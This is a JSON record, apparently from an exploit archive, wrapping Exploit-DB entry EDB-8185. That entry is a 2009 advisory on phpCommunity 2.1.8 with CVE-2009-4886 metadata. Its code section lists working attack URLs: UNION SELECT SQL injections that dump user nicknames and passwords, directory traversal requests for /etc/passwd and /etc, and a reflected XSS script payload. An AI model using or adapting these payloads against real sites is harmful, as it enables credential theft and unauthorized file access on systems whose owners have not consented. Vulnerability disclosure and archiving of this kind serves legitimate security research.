{"exploit":{"id":"EDB-8185","name":"phpCommunity 2.1.8 - SQL Injection (SQLi) / Directory Traversal / Cross-Site Scripting (XSS)","description":"phpCommunity 2.1.8 - SQL Injection (SQLi) / Directory Traversal / Cross-Site Scripting (XSS)","cves":["CVE-2009-4886"],"author":"Salvatore Fresta","published":"2009-03-09","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8185","path":"exploits/php/webapps/8185.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8185.txt","vulnerabilities":[{"id":"CVE-2009-4886","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in phpCommunity 2 2.1.8 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) file parameter to module/admin/files/show_file.php and the (2) path parameter to module/admin/files/show_source.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4886","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4886"},"updatedAt":"2024-08-07T07:17:26.159Z","retrievedAt":"2026-11-27T07:08:54.942Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8185.png?v=2","url":"https://exploitbin.com/exploits/EDB-8185","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8185/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8185/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"*******   Salvatore \"drosophila\" Fresta   *******\n\n[+] Application: phpCommunity 2\n[+] Version: 2.1.8\n[+] Website: http://sourceforge.net/projects/phpcommunity2/\n\n[+] Bugs: [A] Multiple SQL Injection\n          [B] Directory Traversal\n          [C] Reflected XSS\n\n[+] Exploitation: Remote\n[+] Date: 07 Mar 2009\n\n[+] Discovered by: Salvatore \"drosophila\" Fresta\n[+] Author: Salvatore \"drosophila\" Fresta\n[+] Contact: e-mail: drosophilaxxx@gmail.com\n\n\n*************************************************\n\n[+] Menu\n\n1) Bugs\n2) Code\n3) Fix\n\n\n*************************************************\n\n[+] Bugs\n\n\nThis web application presents several vulnerabilities\nwhich can be exploited to obtain reserved information.\nThe following are examples of vulnerabilities\ndiscovered in this application.\n\n\n- [A] Multiple SQL Injection\n\n[-] Requisites: magic_quotes_gpc = off\n[-] File affected: module/forum/class_forum.php\n                   module/forum/class_search.php\n\nThis bug allows a guest to view username and\npassword of a registered user.\n\n\n- [B] Directory Traversal\n\n[-] Requisites: none\n[-] File affected: module/admin/files/show_file.php,\n                   module/admin/files/show_source.php\n\nThis bug allows a guest to read arbitrary files and\ndirectory on the web server.\n\n\n- [C] Reflected XSS\n\n[-] Requisites: none\n[-] File affected: templates/1/login.php\n\n\n*************************************************\n\n[+] Code\n\n\n- [A] Multiple SQL Injection\n\nhttp://www.site.com/path/index.php?n=guest&c=0&m=forum&s=1&forum_id=-1' UNION ALL SELECT 1,2,CONCAT(nick, 0x3a, pwd),4,5,6,7,8 FROM com_users%23\n\nhttp://www.site.com/path/index.php?n=guest&c=0&m=forum&s=2&forum_id=0&topic_id=-1' UNION ALL SELECT GROUP_CONCAT(CONCAT(nick, 0x3a, pwd)) FROM com_users%23\n\nhttp://www.site.com/path/index.php?n=guest&c=0&m=search&s=id&wert=-1%25\" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23\n\nhttp://www.site.com/path/index.php?n=guest&c=0&m=search&s=nick&wert=-1%25\" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23\n\nhttp://www.site.com/path/index.php?n=guest&c=0&m=search&s=forum&wert=-1%25\" UNION ALL SELECT 1,2,3,4,CONCAT(nick, 0x3a, pwd),6 FROM com_users%23\n\n\n- [B] Directory Traversal\n\nhttp://www.site.com/path/module/admin/files/show_file.php?file=../../../../../../../../etc/passwd\n\nhttp://www.site.com/path/module/admin/files/show_source.php?path=/etc\n\n\n- [C] Reflected XSS\n\nhttp://www.site.com/path/templates/1/login.php?msg=<script>alert('XSS');</script>\n\n\n*************************************************\n\n[+] Fix\n\nNo fix.\n\n\n*************************************************\n\n# milw0rm.com [2009-03-09]","sha256":"0027ffd1a0cda6ac4b6605e0f81b9d14d302b825066fe5e447b0a494083ca8e4","bytes":2619,"fetchedAt":"2026-11-27T07:08:50.240Z","encoding":"utf-8 (display only; download retains original bytes)"}